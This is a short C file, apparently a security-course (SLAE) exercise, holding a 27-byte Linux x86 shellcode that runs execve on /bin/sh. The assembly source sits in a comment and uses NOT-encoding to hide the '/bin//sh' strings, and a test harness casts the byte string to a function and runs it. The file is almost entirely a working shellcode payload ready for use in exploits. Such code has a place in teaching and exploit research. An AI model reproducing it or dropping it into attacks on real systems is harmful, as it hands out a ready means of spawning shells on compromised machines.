45 lines
No EOL
817 B
C
45 lines
No EOL
817 B
C
/*
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; Title : Execve /bin/sh Shellcode encoded with NOT
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; Date : May, 2018
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; Author : Nuno Freitas
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; Twitter : @nunof11
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; SLAE ID : SLAE-1112
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; Size : 27 bytes
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; Tested on : i686 GNU/Linux
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section .text
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global _start
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_start:
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xor ecx, ecx
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mul ecx
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push ecx
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; instructions to avoid having the strings "nib/" and "hs//" pushed directly
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mov edi, 0x978CD0D0
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mov esi, 0x91969DD0
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not edi
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not esi
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push edi
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push esi
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mov ebx, esp
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mov al, 0xb
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int 0x80
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*/
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#include <stdio.h>
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#include <string.h>
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unsigned char shellcode[] = \
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"\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80";
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void main()
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{
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printf("Shellcode Length: %d\n", strlen(shellcode));
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int (*ret)() = (int(*)())shellcode;
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ret();
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} |